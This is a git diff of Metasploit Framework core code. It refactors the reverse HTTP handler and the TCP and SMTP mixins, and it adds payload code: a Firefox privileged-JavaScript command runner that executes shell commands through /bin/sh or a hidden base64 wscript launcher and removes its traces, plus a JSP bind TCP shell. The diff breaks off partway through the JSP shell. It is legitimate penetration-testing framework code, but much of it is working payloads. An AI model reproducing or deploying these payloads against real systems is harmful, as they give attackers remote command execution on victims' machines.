file.append(xpi_guid); - file.append(payload_name); - var tmp = Components.classes["@mozilla.org/file/directory_service;1"]. - getService(Components.interfaces.nsIProperties). - get("TmpD", Components.interfaces.nsIFile); - tmp.append(payload_name); - tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666); - file.copyTo(tmp.parent, tmp.leafName); - | + + if target.name !~ /Javascript/ + bootstrap_script << %q| + var file = Components.classes["@mozilla.org/file/directory_service;1"]. + getService(Components.interfaces.nsIProperties). + get("ProfD", Components.interfaces.nsIFile); + file.append("extensions"); + | + bootstrap_script << %Q|xpi_guid="#{xpi_guid}";| + bootstrap_script << %Q|payload_name="#{payload_name}";| + bootstrap_script << %q| + file.append(xpi_guid); + file.append(payload_name); + var tmp = Components.classes["@mozilla.org/file/directory_service;1"]. + getService(Components.interfaces.nsIProperties). + get("TmpD", Components.interfaces.nsIFile); + tmp.append(payload_name); + tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666); + file.copyTo(tmp.parent, tmp.leafName); + | + end + bootstrap_script << payload_script if (datastore['AutoUninstall']) bootstrap_script << %q| - try { // Fx < 4.0 - Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid); - } catch (e) {} - try { // Fx 4.0 and later - Components.utils.import("resource://gre/modules/AddonManager.jsm"); - AddonManager.getAddonByID(xpi_guid, function(addon) { - addon.uninstall(); - }); - } catch (e) {} + function uninstallMe() { + try { // Fx < 4.0 + Components.classes["@mozilla.org/extensions/manager;1"] + .getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid); + } catch (e) {} + try { // Fx 4.0 and later + Components.utils.import("resource://gre/modules/AddonManager.jsm"); + AddonManager.getAddonByID(xpi_guid, function(addon) { + addon.uninstall(); + }); + } catch (e) {} + } + uninstallMe(); | end bootstrap_script << "}" zip.add_file('bootstrap.js', bootstrap_script) - zip.add_file(payload_name, payload_file) + zip.add_file(payload_name, payload_file) unless payload_file.nil? zip.add_file('chrome.manifest', "content\t#{xpi_guid}\t./\noverlay\tchrome://browser/content/browser.xul\tchrome://#{xpi_guid}/content/overlay.xul\n") zip.add_file('install.rdf', %Q| diff --git a/lib/msf/core/exploit/smtp_deliver.rb b/lib/msf/core/exploit/smtp_deliver.rb index 0ef6a74f54..b440e12a91 100644 --- a/lib/msf/core/exploit/smtp_deliver.rb +++ b/lib/msf/core/exploit/smtp_deliver.rb @@ -127,6 +127,7 @@ module Exploit::Remote::SMTPDeliver # not already established. # def send_message(data) + send_status = nil already_connected = connected? if already_connected @@ -146,13 +147,15 @@ module Exploit::Remote::SMTPDeliver if not resp or not resp[0,3] == '354' print_error("Server refused our mail") else - raw_send_recv("#{data}\r\n.\r\n", nsock) + send_status = raw_send_recv("#{data}\r\n.\r\n", nsock) end if not already_connected print_verbose("Closing the connection...") disconnect(nsock) end + + send_status end def disconnect(nsock=self.sock) diff --git a/lib/msf/core/exploit/tcp.rb b/lib/msf/core/exploit/tcp.rb index 1e4bb71292..43ca47f345 100644 --- a/lib/msf/core/exploit/tcp.rb +++ b/lib/msf/core/exploit/tcp.rb @@ -98,15 +98,15 @@ module Exploit::Remote::Tcp end nsock = Rex::Socket::Tcp.create( - 'PeerHost' => opts['RHOST'] || rhost, - 'PeerPort' => (opts['RPORT'] || rport).to_i, - 'LocalHost' => opts['CHOST'] || chost || "0.0.0.0", - 'LocalPort' => (opts['CPORT'] || cport || 0).to_i, - 'SSL' => dossl, - 'SSLVersion'=> opts['SSLVersion'] || ssl_version, - 'Proxies' => proxies, - 'Timeout' => (opts['ConnectTimeout'] || connect_timeout || 10).to_i, - 'Context' => + 'PeerHost' => opts['RHOST'] || rhost, + 'PeerPort' => (opts['RPORT'] || rport).to_i, + 'LocalHost' => opts['CHOST'] || chost || "0.0.0.0", + 'LocalPort' => (opts['CPORT'] || cport || 0).to_i, + 'SSL' => dossl, + 'SSLVersion' => opts['SSLVersion'] || ssl_version, + 'Proxies' => proxies, + 'Timeout' => (opts['ConnectTimeout'] || connect_timeout || 10).to_i, + 'Context' => { 'Msf' => framework, 'MsfExploit' => self, @@ -300,6 +300,7 @@ module Exploit::Remote::TcpServer register_advanced_options( [ OptString.new('ListenerComm', [ false, 'The specific communication channel to use for this service']), + OptBool.new('SSLCompression', [ false, 'Enable SSL/TLS-level compression', false ]) ], Msf::Exploit::Remote::TcpServer) register_evasion_options( @@ -379,6 +380,7 @@ module Exploit::Remote::TcpServer 'LocalPort' => srvport, 'SSL' => ssl, 'SSLCert' => ssl_cert, + 'SSLCompression' => ssl_compression, 'Comm' => comm, 'Context' => { @@ -464,6 +466,11 @@ module Exploit::Remote::TcpServer datastore['SSLCert'] end + # @return [Bool] enable SSL/TLS-level compression + def ssl_compression + datastore['SSLCompression'] + end + # # Re-generates the payload, substituting the current RHOST and RPORT with # the supplied client host and port from the socket. diff --git a/lib/msf/core/handler/bind_tcp.rb b/lib/msf/core/handler/bind_tcp.rb index 118e7dadd9..8a16d608d6 100644 --- a/lib/msf/core/handler/bind_tcp.rb +++ b/lib/msf/core/handler/bind_tcp.rb @@ -166,7 +166,7 @@ module BindTcp socks[0].extend(Rex::Socket::Tcp) socks[1].extend(Rex::Socket::Tcp) - m = OpenSSL::Digest::Digest.new('md5') + m = OpenSSL::Digest.new('md5') m.reset key = m.digest(datastore["AESPassword"] || "") diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 94e9376fae..5c26a0c4bd 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -1,6 +1,7 @@ # -*- coding: binary -*- require 'rex/io/stream_abstraction' require 'rex/sync/ref' +require 'msf/core/handler/reverse_http/uri_checksum' module Msf module Handler @@ -13,6 +14,7 @@ module Handler module ReverseHttp include Msf::Handler + include Msf::Handler::ReverseHttp::UriChecksum # # Returns the string representation of the handler type @@ -29,46 +31,6 @@ module ReverseHttp "tunnel" end - # - # Define 8-bit checksums for matching URLs - # These are based on charset frequency - # - URI_CHECKSUM_INITW = 92 - URI_CHECKSUM_INITJ = 88 - URI_CHECKSUM_CONN = 98 - - # - # Precalculated checkums as fallback - # - URI_CHECKSUM_PRECALC = [ - "Zjjaq", "pIlfv", "UvoxP", "sqnx9", "zvoVO", "Pajqy", "7ziuw", "vecYp", "yfHsn", "YLzzp", - "cEzvr", "abmri", "9tvwr", "vTarp", "ocrgc", "mZcyl", "xfcje", "nihqa", "40F17", "zzTWt", - "E3192", "wygVh", "pbqij", "rxdVs", "ajtsf", "wvuOh", "hwRwr", "pUots", "rvzoK", "vUwby", - "tLzyk", "zxbuV", "niaoy", "ukxtU", "vznoU", "zuxyC", "ymvag", "Jxtxw", "404KC", "DE563", - "0A7G9", "yorYv", "zzuqP", "czhwo", "949N8", "a1560", "5A2S3", "Q652A", "KR201", "uixtg", - "U0K02", "4EO56", "H88H4", "5M8E6", "zudkx", "ywlsh", "luqmy", "09S4I", "L0GG0", "V916E", - "KFI11", "A4BN8", "C3E2Q", "UN804", "E75HG", "622eB", "1OZ71", "kynyx", "0RE7F", "F8CR2", - "1Q2EM", "txzjw", "5KD1S", "GLR40", "11BbD", "MR8B2", "X4V55", "W994P", "13d2T", "6J4AZ", - "HD2EM", "766bL", "8S4MF", "MBX39", "UJI57", "eIA51", "9CZN2", "WH6AA", "a6BF9", "8B1Gg", - "J2N6Z", "144Kw", "7E37v", "9I7RR", "PE6MF", "K0c4M", "LR3IF", "38p3S", "39ab3", "O0dO1", - "k8H8A", "0Fz3B", "o1PE1", "h7OI0", "C1COb", "bMC6A", "8fU4C", "3IMSO", "8DbFH", "2YfG5", - "bEQ1E", "MU6NI", "UCENE", "WBc0E", "T1ATX", "tBL0A", "UGPV2", "j3CLI", "7FXp1", "yN07I", - "YE6k9", "KTMHE", "a7VBJ", "0Uq3R", "70Ebn", "H2PqB", "83edJ", "0w5q2", "72djI", "wA5CQ", - "KF0Ix", "i7AZH", "M9tU5", "Hs3RE", "F9m1i", "7ecBF", "zS31W", "lUe21", "IvCS5", "j97nC", - "CNtR5", "1g8gV", "7KwNG", "DB7hj", "ORFr7", "GCnUD", "K58jp", "5lKo8", "GPIdP", "oMIFJ", - "2xYb1", "LQQPY", "FGQlN", "l5COf", "dA3Tn", "v9RWC", "VuAGI", "3vIr9", "aO3zA", "CIfx5", - "Gk6Uc", "pxL94", "rKYJB", "TXAFp", "XEOGq", "aBOiJ", "qp6EJ", "YGbq4", "dR8Rh", "g0SVi", - "iMr6L", "HMaIl", "yOY1Z", "UXr5Y", "PJdz6", "OQdt7", "EmZ1s", "aLIVe", "cIeo2", "mTTNP", - "eVKy5", "hf5Co", "gFHzG", "VhTWN", "DvAWf", "RgFJp", "MoaXE", "Mrq4W", "hRQAp", "hAzYA", - "oOSWV", "UKMme", "oP0Zw", "Mxd6b", "RsRCh", "dlk7Q", "YU6zf", "VPDjq", "ygERO", "dZZcL", - "dq5qM", "LITku", "AZIxn", "bVwPL", "jGvZK", "XayKP", "rTYVY", "Vo2ph", "dwJYR", "rLTlS", - "BmsfJ", "Dyv1o", "j9Hvs", "w0wVa", "iDnBy", "uKEgk", "uosI8", "2yjuO", "HiOue", "qYi4t", - "7nalj", "ENekz", "rxca0", "rrePF", "cXmtD", "Xlr2y", "S7uxk", "wJqaP", "KmYyZ", "cPryG", - "kYcwH", "FtDut", "xm1em", "IaymY", "fr6ew", "ixDSs", "YigPs", "PqwBs", "y2rkf", "vwaTM", - "aq7wp", "fzc4z", "AyzmQ", "epJbr", "culLd", "CVtnz", "tPjPx", "nfry8", "Nkpif", "8kuzg", - "zXvz8", "oVQly", "1vpnw", "jqaYh", "2tztj", "4tslx" - ] - # # Use the +refname+ to determine whether this handler uses SSL or not # @@ -83,52 +45,12 @@ module ReverseHttp # addresses. # def full_uri - addrs = bind_address local_port = bind_port scheme = (ssl?) ? "https" : "http" - "#{scheme}://#{addrs[0]}:#{local_port}/" + "#{scheme}://#{datastore['LHOST']}:#{datastore['LPORT']}/" end - # - # Map "random" URIs to static strings, allowing us to randomize - # the URI sent in the first request. - # - def process_uri_resource(uri_match) - # This allows 'random' strings to be used as markers for - # the INIT and CONN request types, based on a checksum - uri_strip, uri_conn = uri_match.split('_', 2) - uri_strip.sub!(/^\//, '') - uri_check = Rex::Text.checksum8(uri_strip) - - # Match specific checksums and map them to static URIs - case uri_check - when URI_CHECKSUM_INITW - uri_match = "/INITM" - when URI_CHECKSUM_INITJ - uri_match = "/INITJM" - when URI_CHECKSUM_CONN - uri_match = "/CONN_" + ( uri_conn || Rex::Text.rand_text_alphanumeric(16) ) - end - - uri_match - end - - # - # Create a URI that matches a given checksum - # - def generate_uri_checksum(sum) - chk = ("a".."z").to_a + ("A".."Z").to_a + ("0".."9").to_a - 32.times do - uri = Rex::Text.rand_text_alphanumeric(3) - chk.sort_by {rand}.each do |x| - return(uri + x) if Rex::Text.checksum8(uri + x) == sum - end - end - - # Otherwise return one of the pre-calculated strings - return URI_CHECKSUM_PRECALC[sum] - end # # Initializes the HTTP SSL tunneling handler. @@ -175,12 +97,18 @@ module ReverseHttp end local_port = bind_port - addrs = bind_address + + # Determine where to bind the HTTP(S) server to + bindaddrs = ipv6 ? '::' : '0.0.0.0' + + if not datastore['ReverseListenerBindAddress'].to_s.empty? + bindaddrs = datastore['ReverseListenerBindAddress'] + end # Start the HTTPS server service on this host/port self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server, local_port, - addrs[0], + bindaddrs, ssl?, { 'Msf' => framework, @@ -202,7 +130,9 @@ module ReverseHttp }, 'VirtualDirectory' => true) - print_status("Started HTTP#{ssl? ? "S" : ""} reverse handler on #{full_uri}") + scheme = (ssl?) ? "https" : "http" + bind_url = "#{scheme}://#{bindaddrs}:#{local_port}/" + print_status("Started #{scheme.upcase} reverse handler on #{bind_url}") end # @@ -404,27 +334,6 @@ protected port > 0 ? port : datastore['LPORT'].to_i end - def bind_address - # Switch to IPv6 ANY address if the LHOST is also IPv6 - addr = Rex::Socket.resolv_nbo(datastore['LHOST']) - # First attempt to bind LHOST. If that fails, the user probably has - # something else listening on that interface. Try again with ANY_ADDR. - any = (addr.length == 4) ? "0.0.0.0" : "::0" - - addrs = [ Rex::Socket.addr_ntoa(addr), any ] - - if not datastore['ReverseListenerBindAddress'].to_s.empty? - # Only try to bind to this specific interface - addrs = [ datastore['ReverseListenerBindAddress'] ] - - # Pick the right "any" address if either wildcard is used - addrs[0] = any if (addrs[0] == "0.0.0.0" or addrs == "::0") - end - - addrs - end - - end end diff --git a/lib/msf/core/handler/reverse_http/uri_checksum.rb b/lib/msf/core/handler/reverse_http/uri_checksum.rb new file mode 100644 index 0000000000..a55c302c00 --- /dev/null +++ b/lib/msf/core/handler/reverse_http/uri_checksum.rb @@ -0,0 +1,90 @@ +module Msf + module Handler + module ReverseHttp + module UriChecksum + + # + # Define 8-bit checksums for matching URLs + # These are based on charset frequency + # + URI_CHECKSUM_INITW = 92 + URI_CHECKSUM_INITJ = 88 + URI_CHECKSUM_CONN = 98 + + # + # Precalculated checkums as fallback + # + URI_CHECKSUM_PRECALC = [ + "Zjjaq", "pIlfv", "UvoxP", "sqnx9", "zvoVO", "Pajqy", "7ziuw", "vecYp", "yfHsn", "YLzzp", + "cEzvr", "abmri", "9tvwr", "vTarp", "ocrgc", "mZcyl", "xfcje", "nihqa", "40F17", "zzTWt", + "E3192", "wygVh", "pbqij", "rxdVs", "ajtsf", "wvuOh", "hwRwr", "pUots", "rvzoK", "vUwby", + "tLzyk", "zxbuV", "niaoy", "ukxtU", "vznoU", "zuxyC", "ymvag", "Jxtxw", "404KC", "DE563", + "0A7G9", "yorYv", "zzuqP", "czhwo", "949N8", "a1560", "5A2S3", "Q652A", "KR201", "uixtg", + "U0K02", "4EO56", "H88H4", "5M8E6", "zudkx", "ywlsh", "luqmy", "09S4I", "L0GG0", "V916E", + "KFI11", "A4BN8", "C3E2Q", "UN804", "E75HG", "622eB", "1OZ71", "kynyx", "0RE7F", "F8CR2", + "1Q2EM", "txzjw", "5KD1S", "GLR40", "11BbD", "MR8B2", "X4V55", "W994P", "13d2T", "6J4AZ", + "HD2EM", "766bL", "8S4MF", "MBX39", "UJI57", "eIA51", "9CZN2", "WH6AA", "a6BF9", "8B1Gg", + "J2N6Z", "144Kw", "7E37v", "9I7RR", "PE6MF", "K0c4M", "LR3IF", "38p3S", "39ab3", "O0dO1", + "k8H8A", "0Fz3B", "o1PE1", "h7OI0", "C1COb", "bMC6A", "8fU4C", "3IMSO", "8DbFH", "2YfG5", + "bEQ1E", "MU6NI", "UCENE", "WBc0E", "T1ATX", "tBL0A", "UGPV2", "j3CLI", "7FXp1", "yN07I", + "YE6k9", "KTMHE", "a7VBJ", "0Uq3R", "70Ebn", "H2PqB", "83edJ", "0w5q2", "72djI", "wA5CQ", + "KF0Ix", "i7AZH", "M9tU5", "Hs3RE", "F9m1i", "7ecBF", "zS31W", "lUe21", "IvCS5", "j97nC", + "CNtR5", "1g8gV", "7KwNG", "DB7hj", "ORFr7", "GCnUD", "K58jp", "5lKo8", "GPIdP", "oMIFJ", + "2xYb1", "LQQPY", "FGQlN", "l5COf", "dA3Tn", "v9RWC", "VuAGI", "3vIr9", "aO3zA", "CIfx5", + "Gk6Uc", "pxL94", "rKYJB", "TXAFp", "XEOGq", "aBOiJ", "qp6EJ", "YGbq4", "dR8Rh", "g0SVi", + "iMr6L", "HMaIl", "yOY1Z", "UXr5Y", "PJdz6", "OQdt7", "EmZ1s", "aLIVe", "cIeo2", "mTTNP", + "eVKy5", "hf5Co", "gFHzG", "VhTWN", "DvAWf", "RgFJp", "MoaXE", "Mrq4W", "hRQAp", "hAzYA", + "oOSWV", "UKMme", "oP0Zw", "Mxd6b", "RsRCh", "dlk7Q", "YU6zf", "VPDjq", "ygERO", "dZZcL", + "dq5qM", "LITku", "AZIxn", "bVwPL", "jGvZK", "XayKP", "rTYVY", "Vo2ph", "dwJYR", "rLTlS", + "BmsfJ", "Dyv1o", "j9Hvs", "w0wVa", "iDnBy", "uKEgk", "uosI8", "2yjuO", "HiOue", "qYi4t", + "7nalj", "ENekz", "rxca0", "rrePF", "cXmtD", "Xlr2y", "S7uxk", "wJqaP", "KmYyZ", "cPryG", + "kYcwH", "FtDut", "xm1em", "IaymY", "fr6ew", "ixDSs", "YigPs", "PqwBs", "y2rkf", "vwaTM", + "aq7wp", "fzc4z", "AyzmQ", "epJbr", "culLd", "CVtnz", "tPjPx", "nfry8", "Nkpif", "8kuzg", + "zXvz8", "oVQly", "1vpnw", "jqaYh", "2tztj", "4tslx" + ] + + # Map "random" URIs to static strings, allowing us to randomize + # the URI sent in the first request. + # @param uri_match [String] The URI string to convert back to the original static value + # @return [String] The static URI value derived from the checksum + def process_uri_resource(uri_match) + + # This allows 'random' strings to be used as markers for + # the INIT and CONN request types, based on a checksum + uri_strip, uri_conn = uri_match.split('_', 2) + uri_strip.sub!(/^\//, '') + uri_check = Rex::Text.checksum8(uri_strip) + + # Match specific checksums and map them to static URIs + case uri_check + when URI_CHECKSUM_INITW + uri_match = "/INITM" + when URI_CHECKSUM_INITJ + uri_match = "/INITJM" + when URI_CHECKSUM_CONN + uri_match = "/CONN_" + ( uri_conn || Rex::Text.rand_text_alphanumeric(16) ) + end + + uri_match + end + + # Create a URI that matches a given checksum + # @param sum [Fixnum] The checksum value you are trying to create a URI for + # @return [String] The URI string that checksums to the given value + def generate_uri_checksum(sum) + chk = ("a".."z").to_a + ("A".."Z").to_a + ("0".."9").to_a + 32.times do + uri = Rex::Text.rand_text_alphanumeric(3) + chk.sort_by {rand}.each do |x| + return(uri + x) if Rex::Text.checksum8(uri + x) == sum + end + end + + # Otherwise return one of the pre-calculated strings + return URI_CHECKSUM_PRECALC[sum] + end + + end + end + end +end diff --git a/lib/msf/core/handler/reverse_tcp.rb b/lib/msf/core/handler/reverse_tcp.rb index 62d220ade3..f40e9531af 100644 --- a/lib/msf/core/handler/reverse_tcp.rb +++ b/lib/msf/core/handler/reverse_tcp.rb @@ -172,12 +172,12 @@ module ReverseTcp socks[0].extend(Rex::Socket::Tcp) socks[1].extend(Rex::Socket::Tcp) - m = OpenSSL::Digest::Digest.new('md5') + m = OpenSSL::Digest.new('md5') m.reset key = m.digest(datastore["AESPassword"] || "") Rex::ThreadFactory.spawn('AESEncryption', false) { - c1 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8') + c1 = OpenSSL::Cipher.new('aes-128-cfb8') c1.encrypt c1.key=key sock.put([0].pack('N')) @@ -190,7 +190,7 @@ module ReverseTcp sock.close() } Rex::ThreadFactory.spawn('AESEncryption', false) { - c2 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8') + c2 = OpenSSL::Cipher.new('aes-128-cfb8') c2.decrypt c2.key=key iv="" diff --git a/lib/msf/core/module.rb b/lib/msf/core/module.rb index 36acc612ad..170f8099dd 100644 --- a/lib/msf/core/module.rb +++ b/lib/msf/core/module.rb @@ -449,7 +449,7 @@ class Module ch = self.compat['Nop'] elsif (mod.type == MODULE_PAYLOAD) ch = self.compat['Payload'] - if self.respond_to?("target") and self.target['Payload'] and self.target['Payload']['Compat'] + if self.respond_to?("target") and self.target and self.target['Payload'] and self.target['Payload']['Compat'] ch = ch.merge(self.target['Payload']['Compat']) end else diff --git a/lib/msf/core/module/platform.rb b/lib/msf/core/module/platform.rb index ee8122d531..ad2131a6ec 100644 --- a/lib/msf/core/module/platform.rb +++ b/lib/msf/core/module/platform.rb @@ -516,4 +516,12 @@ class Msf::Module::Platform Rank = 100 Alias = "nodejs" end + + # + # Firefox + # + class Firefox < Msf::Module::Platform + Rank = 100 + Alias = "firefox" + end end diff --git a/lib/msf/core/module/reference.rb b/lib/msf/core/module/reference.rb index 335d9ddd3f..c12c0a239f 100644 --- a/lib/msf/core/module/reference.rb +++ b/lib/msf/core/module/reference.rb @@ -101,7 +101,7 @@ class Msf::Module::SiteReference < Msf::Module::Reference elsif (in_ctx_id == 'BID') self.site = 'http://www.securityfocus.com/bid/' + in_ctx_val.to_s elsif (in_ctx_id == 'MSB') - self.site = 'http://www.microsoft.com/technet/security/bulletin/' + in_ctx_val.to_s + '.mspx' + self.site = 'http://technet.microsoft.com/en-us/security/bulletin/' + in_ctx_val.to_s elsif (in_ctx_id == 'EDB') self.site = 'http://www.exploit-db.com/exploits/' + in_ctx_val.to_s elsif (in_ctx_id == 'WVE') diff --git a/lib/msf/core/module/target.rb b/lib/msf/core/module/target.rb index 478bf055d7..30b6d993f3 100644 --- a/lib/msf/core/module/target.rb +++ b/lib/msf/core/module/target.rb @@ -198,6 +198,13 @@ class Msf::Module::Target opts['Payload'] ? opts['Payload']['PrependEncoder'] : nil end + # + # Payload append encoder information for this target. + # + def payload_append_encoder + opts['Payload'] ? opts['Payload']['AppendEncoder'] : nil + end + # # Payload stack adjustment information for this target. # diff --git a/lib/msf/core/payload.rb b/lib/msf/core/payload.rb index f3e981db47..a712034020 100644 --- a/lib/msf/core/payload.rb +++ b/lib/msf/core/payload.rb @@ -29,6 +29,7 @@ class Payload < Msf::Module require 'msf/core/payload/netware' require 'msf/core/payload/java' require 'msf/core/payload/dalvik' + require 'msf/core/payload/firefox' ## # @@ -413,7 +414,7 @@ class Payload < Msf::Module encoders = [] framework.encoders.each_module_ranked( - 'Arch' => self.arch) { |name, mod| + 'Arch' => self.arch, 'Platform' => self.platform) { |name, mod| encoders << [ name, mod ] } diff --git a/lib/msf/core/payload/firefox.rb b/lib/msf/core/payload/firefox.rb new file mode 100644 index 0000000000..3d3ae54f03 --- /dev/null +++ b/lib/msf/core/payload/firefox.rb @@ -0,0 +1,191 @@ +# -*- coding: binary -*- +require 'msf/core' +require 'json' + +module Msf::Payload::Firefox + + + # Javascript source code of setTimeout(fn, delay) + # @return [String] javascript source code that exposes the setTimeout(fn, delay) method + def set_timeout_source + %Q| + var setTimeout = function(cb, delay) { + var timer = Components.classes["@mozilla.org/timer;1"].createInstance(Components.interfaces.nsITimer); + timer.initWithCallback({notify:cb}, delay, Components.interfaces.nsITimer.TYPE_ONE_SHOT); + return timer; + }; + | + end + + # Javascript source code of readFile(path) - synchronously reads a file and returns + # its contents. The file is deleted immediately afterwards. + # + # @return [String] javascript source code that exposes the readFile(path) method + def read_file_source + %Q| + var readFile = function(path) { + try { + var file = Components.classes["@mozilla.org/file/local;1"] + .createInstance(Components.interfaces.nsILocalFile); + file.initWithPath(path); + + var fileStream = Components.classes["@mozilla.org/network/file-input-stream;1"] + .createInstance(Components.interfaces.nsIFileInputStream); + fileStream.init(file, 1, 0, false); + + var binaryStream = Components.classes["@mozilla.org/binaryinputstream;1"] + .createInstance(Components.interfaces.nsIBinaryInputStream); + binaryStream.setInputStream(fileStream); + var array = binaryStream.readByteArray(fileStream.available()); + + binaryStream.close(); + fileStream.close(); + file.remove(true); + + return array.map(function(aItem) { return String.fromCharCode(aItem); }).join(""); + } catch (e) { return ""; } + }; + | + end + + # Javascript source code of runCmd(str,cb) - runs a shell command on the OS + # + # Because of a limitation of firefox, we cannot retrieve the shell output + # so the stdout/err are instead redirected to a temp file, which is read and + # destroyed after the command completes. + # + # On posix, the command is double wrapped in "/bin/sh -c" calls, the outer of + # which redirects stdout. + # + # On windows, the command is wrapped in two "cmd /c" calls, the outer of which + # redirects stdout. A JScript "launch" file is dropped and invoked with wscript + # to run the command without displaying the cmd.exe prompt. + # + # When the command contains the pattern "[JAVASCRIPT] ... [/JAVASCRIPT]", the + # javascript code between the tags is eval'd and returned. + # + # @return [String] javascript source code that exposes the runCmd(str) method. + def run_cmd_source + %Q| + #{read_file_source} + #{set_timeout_source} + + var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"] + .getService(Components.interfaces.nsIHttpProtocolHandler).userAgent; + var windows = (ua.indexOf("Windows")>-1); + var svcs = Components.utils.import("resource://gre/modules/Services.jsm"); + var jscript = (#{JSON.unparse({:src => jscript_launcher})}).src; + var runCmd = function(cmd, cb) { + cb = cb \|\| (function(){}); + + if (cmd.trim().length == 0) { + setTimeout(function(){ cb("Command is empty string ('')."); }); + return; + } + + var js = (/^\\s*\\[JAVASCRIPT\\]([\\s\\S]*)\\[\\/JAVASCRIPT\\]/g).exec(cmd.trim()); + if (js) { + var tag = "[!JAVASCRIPT]"; + var sync = true; // avoid zalgo's reach + var sent = false; + var retVal = null; + + try { + retVal = Function('send', js[1])(function(r){ + if (sent) return; + sent = true + if (r) { + if (sync) setTimeout(function(){ cb(false, r+tag+"\\n"); }); + else cb(false, r+tag+"\\n"); + } + }); + } catch (e) { retVal = e.message; } + + sync = false; + + if (retVal && !sent) { + sent = true; + setTimeout(function(){ cb(false, retVal+tag+"\\n"); }); + } + + return; + } + + var shEsc = "\\\\$&"; + var shPath = "/bin/sh -c" + + if (windows) { + shPath = "cmd /c"; + shEsc = "\\^$&"; + var jscriptFile = Components.classes["@mozilla.org/file/directory_service;1"] + .getService(Components.interfaces.nsIProperties) + .get("TmpD", Components.interfaces.nsIFile); + jscriptFile.append('#{Rex::Text.rand_text_alphanumeric(8+rand(12))}.js'); + var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"] + .createInstance(Components.interfaces.nsIFileOutputStream); + stream.init(jscriptFile, 0x04 \| 0x08 \| 0x20, 0666, 0); + stream.write(jscript, jscript.length); + if (stream instanceof Components.interfaces.nsISafeOutputStream) { + stream.finish(); + } else { + stream.close(); + } + } + + var stdoutFile = "#{Rex::Text.rand_text_alphanumeric(8+rand(12))}"; + + var stdout = Components.classes["@mozilla.org/file/directory_service;1"] + .getService(Components.interfaces.nsIProperties) + .get("TmpD", Components.interfaces.nsIFile); + stdout.append(stdoutFile); + + if (windows) { + var shell = shPath+" "+cmd; + shell = shPath+" "+shell.replace(/\\W/g, shEsc)+" >"+stdout.path+" 2>&1"; + var b64 = svcs.btoa(shell); + } else { + var shell = shPath+" "+cmd.replace(/\\W/g, shEsc); + shell = shPath+" "+shell.replace(/\\W/g, shEsc) + " >"+stdout.path+" 2>&1"; + } + var process = Components.classes["@mozilla.org/process/util;1"] + .createInstance(Components.interfaces.nsIProcess); + var sh = Components.classes["@mozilla.org/file/local;1"] + .createInstance(Components.interfaces.nsILocalFile); + + if (windows) { + sh.initWithPath("C:\\\\Windows\\\\System32\\\\wscript.exe"); + process.init(sh); + var args = [jscriptFile.path, b64]; + process.run(true, args, args.length); + jscriptFile.remove(true); + setTimeout(function(){cb(false, cmd+"\\n"+readFile(stdout.path));}); + } else { + sh.initWithPath("/bin/sh"); + process.init(sh); + var args = ["-c", shell]; + process.run(true, args, args.length); + setTimeout(function(){cb(false, readFile(stdout.path));}); + } + }; + | + end + + # This file is dropped on the windows platforms to a temp file in order to prevent the + # cmd.exe prompt from appearing. It is executed and then deleted. + # + # @return [String] JScript that reads its command-line argument, decodes + # base64 and runs it as a shell command. + def jscript_launcher + %Q| + var b64 = WScript.arguments(0); + var dom = new ActiveXObject("MSXML2.DOMDocument.3.0"); + var el = dom.createElement("root"); + el.dataType = "bin.base64"; el.text = b64; dom.appendChild(el); + var stream = new ActiveXObject("ADODB.Stream"); + stream.Type=1; stream.Open(); stream.Write(el.nodeTypedValue); + stream.Position=0; stream.type=2; stream.CharSet = "us-ascii"; stream.Position=0; + var cmd = stream.ReadText(); + (new ActiveXObject("WScript.Shell")).Run(cmd, 0, true); + | + end +end diff --git a/lib/msf/core/payload/java.rb b/lib/msf/core/payload/java.rb index 7b88e06b5b..bf8522f100 100644 --- a/lib/msf/core/payload/java.rb +++ b/lib/msf/core/payload/java.rb @@ -42,6 +42,8 @@ module Msf::Payload::Java # # @option opts :main_class [String] the name of the Main-Class # attribute in the manifest. Defaults to "metasploit.Payload" + # @option opts :random [Boolean] Set to `true` to randomize the + # "metasploit" package name. # @return [Rex::Zip::Jar] def generate_jar(opts={}) raise if not respond_to? :config @@ -54,6 +56,7 @@ module Msf::Payload::Java ] + @class_files jar = Rex::Zip::Jar.new + jar.add_sub("metasploit") if opts[:random] jar.add_file("metasploit.dat", config) jar.add_files(paths, File.join(Msf::Config.data_directory, "java")) jar.build_manifest(:main_class => main_class) diff --git a/lib/msf/core/payload/jsp.rb b/lib/msf/core/payload/jsp.rb new file mode 100644 index 0000000000..2a81902839 --- /dev/null +++ b/lib/msf/core/payload/jsp.rb @@ -0,0 +1,154 @@ +# -*- coding: binary -*- +require 'msf/core' +require 'rex' + +module Msf::Payload::JSP + # Outputs jsp that spawns a bind TCP shell + # @return [String] jsp code that executes bind TCP payload + def jsp_bind_tcp + # Modified from: http://www.security.org.sg/code/jspreverse.html + jsp = <<-EOS +<%@page import="java.lang.*"%> +<%@page import="java.util.*"%> +<%@page import="java.io.*"%> +<%@page import="java.net.*"%> + +<% + class StreamConnector extends Thread + { + InputStream is; + OutputStream os; + + StreamConnector( InputStream is, OutputStream os ) + { + this.is = is; + this.os = os; + } + + public void run() + { + BufferedReader in = null; + BufferedWriter out = null; + try + { + in = new BufferedReader( new InputStreamReader( this.is ) ); + out = new BufferedWriter( new OutputStreamWriter( this.os ) ); + char buffer[] = new char[8192]; + int length; + while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 ) + { + out.write( buffer, 0, length ); + out.flush(); + } + } catch( Exception e ){} + try + { + if( in != null ) + in.close(); + if( out != null ) + out.close(); + } catch( Exception e ){} + } + } + + try + { + ServerSocket server_socket = new ServerSocket( #{datastore['LPORT'].to_s} ); + Socket client_socket = server_socket.accept(); + server_socket.close(); + Process process = Runtime.getRuntime().exec( "#{datastore['SHELL']}" ); + ( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start(); + ( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) 